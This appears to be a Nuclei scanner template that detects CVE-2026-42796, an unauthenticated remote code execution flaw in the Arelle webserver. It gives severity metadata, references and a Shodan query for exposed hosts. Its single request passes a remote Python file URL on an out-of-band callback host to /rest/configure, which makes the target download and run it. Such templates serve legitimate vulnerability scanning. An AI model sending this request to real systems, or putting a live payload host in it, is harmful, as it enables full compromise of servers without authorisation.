Arelle < 2.39.10 - Remote Code Execution

id: CVE-2026-42796

info:
  name: Arelle < 2.39.10 - Remote Code Execution
  author: aryu-ru
  severity: critical
  description: |
    Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle downloads and executes within its process.
  impact: |
    Successful exploitation allows an unauthenticated attacker to execute arbitrary Python code with the privileges of the Arelle webserver process, leading to full host compromise.
  remediation: |
    Upgrade to Arelle 2.39.10 or later, which rejects remote URL plug-in references over the webserver.
  reference:
    - https://www.vulncheck.com/advisories/arelle-unauthenticated-rce-via-rest-configure
    - https://github.com/Arelle/Arelle/pull/2320
    - https://github.com/Arelle/Arelle/releases/tag/2.39.10
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42796
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42796
    epss-score: 0.00732
    epss-percentile: 0.50513
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: arelle
    product: arelle
    shodan-query: http.html:"Arelle Web Services"
  tags: cve,cve2026,arelle,rce,oast,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/configure?plugins=http://{{interactsh-url}}/{{randstr}}.py"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "Configuration Request"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022037171d831a2e53f5af5b2cc0f6d80acb7f40a09c011ab2602957d8d74df18ce9022100fd1e9e698861837ba7908b4ac6d613813dc609b8651198563fc80650fa2bf919:922c64590222798bb761d5b6d8e72950